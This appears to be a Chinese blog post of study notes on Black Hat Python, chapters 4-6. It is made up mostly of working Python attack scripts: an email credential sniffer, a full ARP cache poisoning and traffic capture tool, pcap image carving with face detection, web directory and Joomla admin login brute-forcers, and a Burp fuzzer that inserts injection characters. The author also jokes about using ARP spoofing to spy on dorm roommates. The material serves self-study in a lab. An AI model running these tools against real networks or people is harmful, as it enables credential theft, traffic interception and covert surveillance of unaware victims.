再测试一下其他网段,通过浏览器打开的测试,有些还是web服务器呢,不过下图的是安装完apache的centos,还没部署代码




第四章 Scapy:网络的掌控者


scapy的安装

首先当然要安装scapy,直接给下载网址
https://codeload.github.com/secdev/scapy/zip/v2.3.2
官网也给下,因为可能有更新什么的
http://www.secdev.org/projects/scapy/

在kali的安装步骤
[python]  view plain  copy
 
  1. unzip scapy-2.3.2.zip  
  2. cd scapy-2.3.2  
  3. ./setup.py install  

scapy简单嗅探初探

有个函数说一下
[python]  view plain  copy
 
  1. sniff(filter="",iface="any",prn=function,count=N)  
filter跟wireshark的过滤类型一样
iface:就是要嗅探的网卡
prn:就是回调函数,简单理解就是会自动调用,它以收到的数据包对象作为唯一参数,你可以在函数中处理数据包
count:嗅探的个数,留空就为无限个

代码:
[python]  view plain  copy
 
  1. #-*- coding:utf8 -*-  
  2.   
  3. from scapy.all import *  
  4.   
  5. # 定义数据包回调函数  
  6. def packet_callback(packet):  
  7.     print packet.show()  
  8.   
  9. # 开启嗅探器  
  10. sniff(prn=packet_callback, count=1)  

结果:可以看到从以太网协议,ip协议到tcp协议和数据部分都有了,确实很方便


窃取email认证

[python]  view plain  copy
 
  1. #-*- coding:utf8 -*-  
  2.   
  3. from scapy.all import *  
  4.   
  5. # 定义数据包回调函数  
  6. def packet_callback(packet):  
  7.   
  8.     if packet[TCP].payload:  
  9.         mail_packet = str(packet[TCP].payload)  
  10.         if "user" in mail_packet.lower() or "pass" in mail_packet.lower():  
  11.   
  12.             print "[*] Server: %s" % packet[IP].dst  
  13.             print "[*] %s" % packet[TCP].payload  
  14.     # print packet.show()  
  15.   
  16. # 开启嗅探器(对常见电子邮件端口进行嗅探110(POP3), 25(SMTP), 143(IMAP), store=0:不保留原始数据包,长时间嗅探的话不会暂用太多内存  
  17. sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0)  


这里我用命令行模拟邮件登陆(当然我用的是错误的用户名和密码,所以下图是不能登录成功的,但已经说明抓取成功)

我这里以登陆网易的pop3服务器为例(用telnet即可)


利用Scapy进行ARP缓存投毒

------------------------------------------------------------这个就是我们通常所说的ARP欺骗咯
首先要开启对网关和目标ip地址的流量进行转发的功能
[python]  view plain  copy
 
  1. echo 1 > /proc/sys/net/ipv4/ip_forward  


[python]  view plain  copy
 
  1. #-*- coding:utf8 -*-  
  2.   
  3. from scapy.all import *  
  4. import os  
  5. import sys  
  6. import threading  
  7. import signal  
  8.   
  9. interface   = "eth0"    #要嗅探的网卡  
  10. target_ip   = "10.10.10.140"        #目标ip,这里测试的是另外一台虚拟机winxp  
  11. gateway_ip  = "10.10.10.2"        #网关ip,这里是虚拟机的网关  
  12. packet_count = 1000  
  13.   
  14. def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):  
  15.   
  16.     # 以下代码调用send函数的方式稍有不同  
  17.     print "[*] Restoring target..."  
  18.     send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5)  
  19.     send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5)  
  20.   
  21.     # 发出退出信号到主线程  
  22.     os.kill(os.getpid(), signal.SIGINT)  
  23.   
  24. def get_mac(ip_address):  
  25.   
  26.     # srp函数(发送和接收数据包,发送指定ARP请求到指定IP地址,然后从返回的数据中获取目标ip的mac)  
  27.     responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10)  
  28.     # 返回从响应数据中获取的MAC地址  
  29.     for s,r in responses:  
  30.         return r[Ether].src  
  31.     return None  
  32.   
  33. def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):  
  34.   
  35.     # 构建欺骗目标的ARP请求(),这里没设置hwsrc,默认就是本机咯  
  36.     # 简单来说:告诉被攻击机器,本机(攻击机)的mac是网关,就是攻击者的机器是网关  
  37.     poison_target = ARP()  
  38.     poison_target.op = 2                # 响应报文  
  39.     poison_target.psrc = gateway_ip     # 模拟是网关发出的, 其实是我们的机器发出的  
  40.     poison_target.pdst = target_ip      # 目的地是目标机器  
  41.     poison_target.hwdst = target_mac    # 目标的物理地址是目标机器的mac  
  42.   
  43.     # 构建欺骗网关的ARP请求(),这里没设置hwsrc,默认就是本机咯  
  44.     poison_gateway = ARP()  
  45.     poison_gateway.op = 2               # 响应报文  
  46.     poison_gateway.psrc = target_ip     # 模拟是目标机器发出的,  
  47.     poison_gateway.pdst = gateway_ip    # 目的地是网关  
  48.     poison_gateway.hwdst = gateway_mac  # 目标的物理地址是网关的mac  
  49.   
  50.     print "[*] Beginning the ARP poison. [CTRL_C to stop]"  
  51.   
  52.     while True:  
  53.         try:  
  54.             # 开始发送ARP欺骗包(投毒)  
  55.             send(poison_target)  
  56.             send(poison_gateway)  
  57.             # 停两秒  
  58.             time.sleep(2)  
  59.         except KeyboardInterrupt:  
  60.             restore_target(gateway_ip, gateway_mac, target_ip, target_mac)  
  61.   
  62.     print "[*] ARP poison attack finished"  
  63.     return  
  64.   
  65.   
  66.   
  67.   
  68.   
  69. # 设置嗅探的网卡  
  70. conf.iface = interface  
  71.   
  72. # 关闭输出  
  73. conf.verb = 0  
  74.   
  75. print "[*] Setting up %s" % interface  
  76.   
  77. # 获取网关mac  
  78. gateway_mac = get_mac(gateway_ip)  
  79.   
  80. if gateway_mac is None:  
  81.     print "[!!!] Failed to get gateway MAC. Exiting"  
  82.     sys.exit(0)  
  83. else:  
  84.     print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac)  
  85.   
  86. # 获取目标(被攻击的机器)mac  
  87. target_mac = get_mac(target_ip)  
  88.   
  89. if target_mac is None:  
  90.     print "[!!!] Failed to get target MAC. Exiting"  
  91.     sys.exit(0)  
  92. else:  
  93.     print "[*] Target %s is at %s" % (target_ip, target_mac)  
  94.   
  95. # 启动ARP投毒(欺骗)线程  
  96. poison_thread = threading.Thread(target = poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))  
  97. poison_thread.start()  
  98.   
  99. try:  
  100.     print "[*] Starting sniffer for %d packets" % packet_count  
  101.   
  102.     bpf_filter = "ip host %s " % target_ip  # 过滤器  
  103.     packets = sniff(count = packet_count, filter=bpf_filter, iface = interface)  
  104.   
  105.     # 将捕获到的数据包输出到文件  
  106.     wrpcap("arper.pcap", packets)  
  107.     # 还原网络配置  
  108.     restore_target(gateway_ip, gateway_mac, target_ip, target_mac)  
  109.   
  110. except KeyboardInterrupt:  
  111.     # 还原网络配置  
  112.     restore_target(gateway_ip, gateway_mac, target_ip, target_mac)  
  113.     sys.exit(0)  

kali (攻击机)


winxp(被攻击机)


开始攻击


攻击结果:网关的ip已被替换成kali的mac了,有趣哦

还窃听到了目标机的网络数据流量,哈哈,用于宿舍,舍友的一举一动都知道了



从pcap文件中提取图片,同时进行人脸识别

安装OpenCV

[python]  view plain  copy
 
  1. apt-get install python-opencv python-numpy python-scipy  

代码

[python]  view plain  copy
 
  1. #-*- coding:utf8 -*-  
  2.   
  3.   
  4. import re  
  5. import zlib  
  6. import cv2  
  7.   
  8.   
  9. from scapy.all import *  
  10.   
  11.   
  12. pictures_directory = "./pictures/"  
  13. faces_directory = "./faces/"  
  14. pcap_file = "test.pcap"  
  15.   
  16.   
  17. def get_http_headers(http_payload):  
  18.     try:  
  19.         #如果为http流量,提取http头  
  20.         headers_raw = http_payload[:http_payload.index("\r\n\r\n")+2]  
  21.   
  22.   
  23.         #对http头进行切分  
  24.         headers = dict(re.findall(r"(?P.*?):(?P.*?)\r\n", headers_raw))  
  25.   
  26.   
  27.     except:  
  28.         return None  
  29.   
  30.   
  31.     if "Content-Type" not in headers:  
  32.         return None  
  33.   
  34.   
  35.     return headers  
  36.   
  37.   
  38. def extract_image(headers, http_payload):  
  39.     image = None  
  40.     image_type = None  
  41.   
  42.   
  43.     try:  
  44.         if "image" in headers['Content-Type']:  
  45.             #获取图像类型和图像数据  
  46.             image_type = headers['Content-Type'].split("/")[1]  
  47.             image = http_payload[http_payload.index("\r\n\r\n")+4:]  
  48.             #如果数据进行了压缩则解压  
  49.             try:  
  50.                 if "Content-Encoding" in headers.keys():  
  51.                     if headers['Content-Encoding'] == "gzip":  
  52.                         image = zlib.decompress(image, 16+zlib.MAX_WBITS)  
  53.                     elif headers['Content-Encoding'] == "deflate":  
  54.                         image = zlib.decompress(image)  
  55.             except:  
  56.                 pass  
  57.     except:  
  58.         return NoneNone  
  59.   
  60.   
  61.     return image,image_type  
  62.   
  63.   
  64. def face_detect(path, file_name):  
  65.     img = cv2.imread(path)  
  66.     cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml")  
  67.     rects = cascade.detectMultiScale(img, 1.34, cv2.cv.CV_HAAR_SCALE_IMAGE, (20,20))  
  68.   
  69.   
  70.     if len(rects) == 0:  
  71.         return False  
  72.   
  73.   
  74.     rects[:, 2:] += rects[:, :2]  
  75.   
  76.   
  77.     #对图像中的人脸进行高亮的显示处理  
  78.     for x1, y1, x2, y2 in rects:  
  79.         cv2.rectangle(img, (x1,y1), (x2,y2), (127,255,0), 2)  
  80.   
  81.   
  82.     cv2.imwrite("%s/%s-%s" (faces_directory, pcap_file, file_name), img)  
  83.     return True  
  84.   
  85.   
  86. def http_assembler(pcap_file):  
  87.   
  88.   
  89.     carved_images = 0  
  90.     faces_detected = 0  
  91.   
  92.   
  93.     a = rdpcap(pcap_file)  
  94.   
  95.   
  96.     sessions = a.sessions()  
  97.   
  98.   
  99.     for session in sessions:  
  100.         http_payload = ""  
  101.         for packet in sessions[session]:  
  102.             try:  
  103.                 if packet[TCP].dport == 80 or packet[TCP].sport == 80:  
  104.                     # 对数据组包  
  105.                     http_payload += str(packet[TCP].payload)  
  106.             except:  
  107.                 pass  
  108.   
  109.   
  110.         headers = get_http_headers(http_payload)  
  111.   
  112.   
  113.         if headers is None:  
  114.             continue  
  115.         image, image_type = extract_image(headers, http_payload)  
  116.         if image is not None and image_type is not None:  
  117.             # 存储图像  
  118.             file_name = "%s-pic_carver_%d.%s" % (pcap_file, carved_images, image_type)  
  119.             fd = open("%s/%s" % (pictures_directory, file_name), "wb")  
  120.   
  121.   
  122.             fd.write(image)  
  123.             fd.close()  
  124.   
  125.   
  126.             carved_images += 1  
  127.   
  128.   
  129.             #开始人脸识别  
  130.             try:  
  131.                 result = face_detect("%s/%s" % (pictures_directory, file_name), file_name)  
  132.                 if result is True:  
  133.                     faces_detected += 1  
  134.             except:  
  135.                 pass  
  136.   
  137.   
  138.     return carved_images, faces_detected  
  139.   
  140.   
  141. carved_images, faces_detected = http_assembler(pcap_file)  
  142.   
  143.   
  144. print "Extracted: %d images" % carved_images  
  145. print "Detected: %d faces" % faces_detected  

运行结果:(test.pcap是我访问百度图片抓的包,但真么没人脸的图片呢,我记得好像有的啊)


第五章 Web攻击

Web的套接字函数库:urllib2

下面为他们的简单使用


有时要根据你要抓取的网站的编码和自己代码的编码相对应


Web开源应用的安装

这里作者应该是利用开源应用的本地文件目录信息去访问目标网站的对应目录,看看哪些目录是跟官方的一样的,举个例子:比如有没有install目录

[python]  view plain  copy
 
  1. #-*- coding:utf8 -*-  
  2.   
  3. import Queue  
  4. import threading  
  5. import os  
  6. import urllib2  
  7.   
  8. threads = 10  
  9.   
  10. target = "http://192.168.1.105/Joomla/"  
  11. directory = "./Joomla/"  
  12. filters = ["jpg"".gif"".png"".css"]  
  13.   
  14. os.chdir(directory)  
  15. web_paths = Queue.Queue()  
  16.   
  17. for r,d,f in os.walk("."):  
  18.     for files in f:  
  19.         remote_path = "%s%s" % (r,files)  
  20.         if remote_path.startswith("."):  
  21.             remote_path = remote_path[1:]  
  22.         if os.path.splitext(files)[1not in filters:  
  23.             web_paths.put(remote_path)  
  24.   
  25. def test_remote():  
  26.     while not  web_paths.empty():  
  27.         path = web_paths.get()  
  28.         url = "%s%s" % (target, path)  
  29.   
  30.         request = urllib2.Request(url)  
  31.   
  32.         try:  
  33.             response = urllib2.urlopen(request)  
  34.             content = response.read()  
  35.   
  36.             print  "[%d] => %s" % (response.code, path)  
  37.             response.close()  
  38.   
  39.         except urllib2.HTTPError as error:  
  40.             print "Failed %s" % error.code  
  41.             pass  
  42.   
  43. for i in range(threads):  
  44.     print "Spawning thread %d" % i  
  45.     t = threading.Thread(target=test_remote)  
  46.     t.start()  


我在真实机上安装了Joola3.4.8,跟着用虚拟机的kali去测试



暴力破解Web应用目录和文件

代码:
[python]  view plain  copy
 
  1. #-*- coding:utf8 -*-    
  2.     
  3. import urllib2    
  4. import threading    
  5. import Queue    
  6. import urllib    
  7.     
  8. threads = 50    
  9. target_url = "http://testphp.vulnweb.com"    
  10. wordlist_file = "./all.txt"    
  11. resume = None   #作者说用于网络中断时,延续上一个尝试的字符串,而不用从头开始,这里好像没用到    
  12. user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36"    
  13.     
  14.     
  15. def built_wordlist(wordlist_file):    
  16.     #读入字典文件    
  17.     fd = open(wordlist_file, "rb")    
  18.     raw_words = fd.readlines()    
  19.     fd.close()    
  20.     
  21.     found_resume = False    
  22.     words = Queue.Queue()    
  23.     
  24.     for word in raw_words:    
  25.         #删除字符串末尾的空格    
  26.         word  = word.rstrip()    
  27.         #如果是延续上一次  
  28.         if resume is not None:    
  29.     
  30.             if found_resume:    
  31.                 words.put(word)    
  32.             else:    
  33.                 if word == resume:    
  34.                     found_resume = True    
  35.                     print "Resuming wordlist from: %s" % resume    
  36.         else:    
  37.             words.put(word)    
  38.     return words    
  39.     
  40. def dir_bruter(word_queue, extentsions=None):    
  41.     
  42.     while not word_queue.empty():    
  43.         attempt = word_queue.get()   
  44.   
  45.         #用于储存要尝试的url  
  46.         attempt_list = []    
  47.     
  48.         #检查是否有文件扩展名,如果没有就是我们要爆破路径,否则爆破文件    
  49.         if "." not in attempt:    
  50.             attempt_list.append("/%s/" % attempt)    
  51.         else:    
  52.             attempt_list.append("/%s" % attempt)    
  53.     
  54.         #如果我们想暴力破解扩展名    
  55.         if extentsions:    
  56.             for extentsion in extentsions:    
  57.                 attempt_list.append("/%s%s" % (attempt, extentsion))    
  58.     
  59.         #迭代我们要尝试的文件列表    
  60.         for brute in attempt_list:    
  61.             #构造url  
  62.             url = "%s%s" % (target_url, urllib.quote(brute))    
  63.             #print url    
  64.             try:    
  65.                 headers = {}    
  66.                 headers['User-Agent'] = user_agent    
  67.                 r = urllib2.Request(url, headers=headers)    
  68.     
  69.                 response = urllib2.urlopen(r)    
  70.                 #print response.__dict__  
  71.                 if len(response.read()):    
  72.                     print "[%d] => %s" % (response.code, url)   
  73.             #用e接收URLError的信息   
  74.             except urllib2.URLError,e:    
  75.                 # code属性存在,并且code不是404    
  76.                 if hasattr(e, 'code'and e.code != 404:    
  77.                     print "!!! %d => %s" % (e.code, url)    
  78.                 pass    
  79.     
  80.     
  81. word_queue = built_wordlist(wordlist_file)    
  82. extentsions = [".php"".bak"".orig",".inc"]    
  83.   
  84. #开启多线程扫描  
  85. for i in range(threads):    
  86.     t = threading.Thread(target=dir_bruter, args=(word_queue, extentsions))    
  87.     t.start()    

这里我学习到了一个方法,如果不知道一个对象有什么属性的时候,就 print  该对象.__dict__


运行结果(下面倒数第六行是手贱,焦点没回到真实机就按了截图的快捷键,不过也没什么影响)



暴力破解HTML表格认证

既然说到这就说说怎么防范吧:

[plain]  view plain  copy
  1. 1.一个强大的用户名和密码,你的用户名让他猜不着,就已经很难突破了,为了安全起见,强大的密码也是必须的  
  2. 2.我们都知道很多网站登录都有验证码,一个强大的验证码咯,不然被识别了(这应该是数字图像的内容了)  
  3. 3.限制尝试登陆的次数  
  4. 4.限定ip登陆  
  5. 5.安装个安全狗什么?(这个随便说的,好像不行,防万能密码应该可以)  
  6. 6.使用一个随机生成的token [当客户端请求页面时,服务器会生成一个随机数Token,并且将Token放置到session{为了省资源也有储存在cookie中的}当中,然后将Token发给客户端(一般通过构造hidden表单)。下次客户端提交请求时,Token会随着表单一起提交到服务器端。]  

好,进入正题,首先当然是研究表单的源码


这四个隐藏的元素也要提交,不然100%不能登陆,最后那个MD5似的应该就是token,同时可看到提交地址:index.PHP,它同时处理登陆


作者给出的步骤如下:

[plain]  view plain  copy
  1. 1.检索登录页面,接收所有返回的cookie  
  2. 2.从HTML中获取所有表单yuans  
  3. 3.在字典中设置需要猜测的用户名和密码  
  4. 4.发送HTTP POST数据包到登陆处理脚本,数据包含所有HTML表单元素值和cookie值  
  5. 5.测试是否登陆成功  


代码:

[python]  view plain  copy
  1. #-*- coding:utf8 -*-  
  2.   
  3. import urllib2  
  4. import urllib  
  5. import cookielib  
  6. import threading  
  7. import sys  
  8. import Queue  
  9.   
  10. from HTMLParser import HTMLParser  
  11.   
  12. #简要设置  
  13. user_thread = 10  
  14. username ="giantbranch"  
  15. wordlist_file ="./mydict.txt"  
  16. resume = None  
  17.   
  18. #特点目标设置  
  19. target_url = "http://192.168.1.105/Joomla/administrator/index.php"  
  20. target_post = "http://192.168.1.105/Joomla/administrator/index.php"  
  21.   
  22. username_field = "username"  
  23. password_field = "passwd"  
  24.   
  25. #登陆成功后,title里面就有下面的文字,注意是语言是英文才是下面的哦   
  26. success_check = "Administration - Control Panel"  
  27.   
  28. class BruteParser(HTMLParser):  
  29.     def __init__(self):  
  30.         HTMLParser.__init__(self)  
  31.         self.tag_results = {}  
  32.   
  33.     #当我们调用feed函数时,他将整个HTML文档传递进来并在遇到每个标签时调用下面这个函数(根据函数名就容易理解)  
  34.     def handle_starttag(self, tag, attrs):  
  35.         #判断是否是input标签  
  36.         if tag == "input":  
  37.             tag_name = None  
  38.             tag_value = None  
  39.             for name,value in attrs:  
  40.                 #input标签里面不是有name,value,type等属性吗,这里只判断name和value  
  41.                 #不过我觉得第二个if是多余的  
  42.                 if name == "name":  
  43.                     tag_name = value  
  44.                 if name == "value":  
  45.                     tag_value = value  
  46.                 if tag_name is not None:  
  47.                     self.tag_results[tag_name] = value  
  48.   
  49. class Bruter(object):  
  50.     def __init__(self, username, words):  
  51.         self.username = username  
  52.         self.password_q = words  
  53.         self.found = False  
  54.   
  55.         print "Finished setting up for %s" % username  
  56.   
  57.     def run_bruteforce(self):  
  58.         for i in range(user_thread):  
  59.             t = threading.Thread(target=self.web_bruter)  
  60.             t.start()  
  61.   
  62.     def web_bruter(self):  
  63.         while not self.password_q.empty() and not self.found:  
  64.             #从字典获取密码,并去除右边的空格  
  65.             brute = self.password_q.get().rstrip()  
  66.             #使用FileCookieJar类,将cookie值储存到文件,参数为文件名,可用于存取cookie  
  67.             jar = cookielib.FileCookieJar("cookies")  
  68.             #用上面的jar初始化urllib2打开器,这样下面请求url时,就会把cookie值存到那个文件中  
  69.             opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))  
  70.   
  71.             response =opener.open(target_url)  
  72.   
  73.             page = response.read()  
  74.   
  75.             print  "Trying: %s : %s (%d left)" % (self.username, brute, self.password_q.qsize())  
  76.   
  77.             #解析隐藏区域(表单)  
  78.             parser = BruteParser()  
  79.             parser.feed(page)  
  80.   
  81.             #已经含有隐藏表单的键值  
  82.             post_tags = parser.tag_results  
  83.   
  84.             #添加我们的用户名和密码区域  
  85.             post_tags[username_field] = self.username  
  86.             post_tags[password_field] = brute  
  87.   
  88.             #输出post的数据(键值)  
  89.             # for key,value in post_tags.items():  
  90.             #     print key,':',value  
  91.   
  92.             #url编码post的数据,开始尝试登陆  
  93.             login_data = urllib.urlencode(post_tags)  
  94.             login_response =opener.open(target_post, login_data)  
  95.             login_result = login_response.read()  
  96.   
  97.             # 判断是否登陆成功  
  98.             if success_check in login_result:  
  99.                 #设置为True,让循环结束  
  100.                 self.found = True  
  101.   
  102.                 print "[*] Bruteforce successful."  
  103.                 print "[*] Username: %s" % username  
  104.                 print "[*] Password: %s" % brute  
  105.                 print "[*] Waiting for other threads to exit..."  
  106.   
  107. def built_wordlist(wordlist_file):  
  108.     #读入字典文件  
  109.     fd = open(wordlist_file, "rb")  
  110.     raw_words = fd.readlines()  
  111.     fd.close()  
  112.   
  113.     found_resume = False  
  114.     words = Queue.Queue()  
  115.   
  116.     for word in raw_words:  
  117.         #删除字符串末尾的空格  
  118.         word  = word.rstrip()  
  119.         #如果是延续上一次  
  120.         if resume is not None:  
  121.   
  122.             if found_resume:  
  123.                 words.put(word)  
  124.             else:  
  125.                 if word == resume:  
  126.                     found_resume = True  
  127.                     print "Resuming wordlist from: %s" % resume  
  128.         else:  
  129.             words.put(word)  
  130.     return words  
  131.   
  132. #构造字典  
  133. words = built_wordlist(wordlist_file)  
  134.   
  135. #初始化Bruter类  
  136. bruter_obj = Bruter(username, words)  
  137. #调用run_bruteforce函数  
  138. bruter_obj.run_bruteforce()  

下面的可能对理解代码有帮助:

cookie没登陆就会有的了,你访问一下百度首页也有,就算你没登陆

下图为访问joomla的首页时的cookie(还没登陆)


登陆后


jar有什么用


作者验证登陆成功用的是title,觉得不是很靠谱




注:我的测试账号为: giantbranch 密码:test

期间出了不少错误:

1.一个是用户名,自己初始化joomla时设置的超级用户名是giantbranch,结果跟着作者admin了

2.跑了很久都没跑出来,正确的账号密码也不会停止


最后将post的数据打印出来才知道,密码域的名字打错了



最终运行结果:(只展示部分)


终于成功了



第六章 扩展Burp

这里应该要首先熟悉使用Brup

配置

下载jython,或者我文章开头的源码码那里有
打开软件,这必须的,一张图秒懂吧~~


Brup模糊测试

下面两个是Burp的IIntruderPayloadGeneratorFactory类和IIntruderPayloadGenerator的API文档,我们要对这些类进行扩展,重载他们的某些方法
[java]  view plain  copy
  1. package burp;     
  2. /* 
  3.  * @(#)IIntruderPayloadGeneratorFactory.java 
  4.  * Copyright PortSwigger Ltd. All rights reserved. 
  5.  * This code may be used to extend the functionality of Burp Suite Free Edition 
  6.  * and Burp Suite Professional, provided that this usage does not violate the 
  7.  * license terms for those products. 
  8.     //代码用于扩展免费和专业版,但不要违反许可证 
  9.  */  
  10. /* 
  11.  * Extensions can implement this interface and then call 
  12.  * IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory() 
  13.  * to register a factory for custom Intruder payloads. 
  14.     //告诉我们要调用IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()函数去注册,这样Intruder才能生成攻击载荷 
  15.  */  
  16. public interface IIntruderPayloadGeneratorFactory  
  17. {  
  18.     /** 
  19.      * This method is used by Burp to obtain the name of the payload generator. 
  20.      * This will be displayed as an option within the Intruder UI when the user 
  21.      * selects to use extension-generated payloads. 
  22.      * @return The name of the payload generator. 
  23.      */  
  24.     //这函数就是返回payload发生器的名称  
  25.     String getGeneratorName();  
  26.     /*  
  27.      * This method is used by Burp when the user starts an Intruder attack that  
  28.      * uses this payload generator.  
  29.         //用于用户开始Intruder攻击时使用这个payload发生器  
  30.      *  
  31.     //参数  
  32.      * @param attack An  
  33.      * IIntruderAttack object that can be queried to obtain details  
  34.      * about the attack in which the payload generator will be used.      
  35.     //返回值  
  36.      * @return A new instance of  
  37.      * IIntruderPayloadGenerator that will be used to generate  
  38.      * payloads for the attack.  
  39.     IIntruderPayloadGenerator createNewInstance(IIntruderAttack attack);  
  40. }  
[java]  view plain  copy
  1. package burp;  
  2. /* 
  3.  * @(#)IIntruderPayloadGenerator.java 
  4.  * Copyright PortSwigger Ltd. All rights reserved. 
  5.  * This code may be used to extend the functionality of Burp Suite Free Edition 
  6.  * and Burp Suite Professional, provided that this usage does not violate the 
  7.  * license terms for those products. 
  8.  */  
  9. /** 
  10.  * This interface is used for custom Intruder payload generators. Extensions 
  11.  * that have registered an 
  12.  * IIntruderPayloadGeneratorFactory must return a new instance of 
  13.  * this interface when required as part of a new Intruder attack. 
  14.  */  
  15. public interface IIntruderPayloadGenerator  
  16. {  
  17.     /* 
  18.     //这个函数用于决定是否提供更多的payload,就是还有没有咯 
  19.      * This method is used by Burp to determine whether the payload generator is 
  20.      * able to provide any further payloads. 
  21.      * 
  22.     //返回值 
  23.      * @return Extensions should return 
  24.      * false when all the available payloads have been used up, 
  25.      * otherwise 
  26.      * true. 
  27.      */  
  28.     boolean hasMorePayloads();  
  29.     /* 
  30.     //这函数用于获得下一个payload 
  31.      * This method is used by Burp to obtain the value of the next payload. 
  32.      * @param baseValue The base value of the current payload position. This 
  33.      * value may be 
  34.      * null if the concept of a base value is not applicable (e.g. 
  35.      * in a battering ram attack). 
  36.      * @return The next payload to use in the attack. 
  37.      */  
  38.     byte[] getNextPayload(byte[] baseValue);  
  39.     /* 
  40.     //这函数用于重置payload发生器,就是重置后,回头从第一个payload开始尝试 
  41.      * This method is used by Burp to reset the state of the payload generator 
  42.      * so that the next call to 
  43.      * getNextPayload() returns the first payload again. This 
  44.      * method will be invoked when an attack uses the same payload generator for 
  45.      * more than one payload position, for example in a sniper attack. 
  46.      */  
  47.     void reset();  
  48.   
  49. }  

代码:

[python]  view plain  copy
  1. #-*- coding:utf8 -*-  
  2.   
  3. # 导入三个类,其中IBurpExtender类是编写扩展工具必须的类,后两个是Intruder的,我们就是要扩展它  
  4. from burp import IBurpExtender  
  5. from burp import IIntruderPayloadGeneratorFactory  
  6. from burp import IIntruderPayloadGenerator  
  7.   
  8. from java.util import List, ArrayList  
  9.   
  10. import random  
  11.   
  12. #定义自己的BurpExtender类,继承和扩展IBurpExtender和IIntruderPayloadGeneratorFactory类  
  13. class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):  
  14.   
  15.     def registerExtenderCallbacks(self, callbacks):  
  16.         self._callbacks = callbacks  
  17.         self._helpers = callbacks.getHelpers()  
  18.   
  19.         #用registerIntruderPayloadGeneratorFactory函数注册BurpExtender类,这样Intruder才能生成攻击载荷  
  20.         callbacks.registerIntruderPayloadGeneratorFactory(self)  
  21.   
  22.         return  
  23.   
  24.     #返回载荷生成器的名称  
  25.     def getGeneratorName(self):  
  26.         return "BHP Payload Generator"  
  27.   
  28.     # 接受攻击相关参数,返回IIntruderPayloadGenerator类型的实例,作者将他命名为BHPFuzzer  
  29.     def createNewInstance(self, attack):  
  30.         return BHPFuzzer(self, attack)  
  31.   
  32. # 定义BHPFuzzer类,扩展了IIntruderPayloadGenerator类  
  33. # 增加了max_payload(最大的payload), num_iterations(迭代次数)两个变量,用于控制模糊测试的次数  
  34. class BHPFuzzer(IIntruderPayloadGenerator):  
  35.     def __init__(self, extender, attack):  
  36.         self._extender = extender  
  37.         self._helpers = extender._helpers  
  38.         self._attack = attack  
  39.         self.max_payload = 1000  
  40.         self.num_iterations = 0  
  41.         return  
  42.   
  43.     # 通过比较判断迭代是否达到上限  
  44.     def hasMorePayloads(self):  
  45.         if self.num_iterations == self.max_payload:  
  46.             return False  
  47.         else:  
  48.             return True  
  49.   
  50.     # 接受原始的HTTP负载,current_payload是数组,转化成字符串,传递给模糊测试函数mutate_payload  
  51.     def getNextPayload(self, current_payload):  
  52.         # 转换成字符串  
  53.         payload = "".join(chr(x) for x in current_payload)  
  54.         # 调用简单的变形器对POST请求进行模糊测试  
  55.         payload = self.mutate_payload(payload)  
  56.         # 增加FUZZ的次数  
  57.         self.num_iterations += 1  
  58.         return payload  
  59.   
  60.     # 重置  
  61.     def reset(self):  
  62.         self.num_iterations = 0  
  63.         return  
  64.   
  65.     def mutate_payload(self, original_payload):  
  66.         # 仅生成随机数或者调用一个外部脚本  
  67.         picker = random.randint(1,3)  
  68.   
  69.         # 再载荷中选取一个随机的偏移量去变形  
  70.         offset = random.randint(0, len(original_payload)-1)  
  71.         payload = original_payload[:offset]  
  72.   
  73.         # 在随机偏移位置插入SQL注入尝试  
  74.         if picker == 1:  
  75.             payload += "'"  
  76.   
  77.         # 插入跨站尝试  
  78.         if picker == 2:  
  79.             payload += ""  
  80.   
  81.         # 随机重复原始载荷  
  82.         if picker == 3:  
  83.             chunk_length = random.randint(len(payload[offset:]), len(payload)-1)  
  84.             repeater = random.randint(1,10)  
  85.   
  86.             for i in range(repeater):  
  87.                 payload += original_payload[offset:offset+chunk_length]  
  88.   
  89.   
  90.         # 添加载荷中剩余的字节  
  91.         payload += original_payload[offset:]  
  92.   

你可能感兴趣的:(linux,kali,python,黑帽)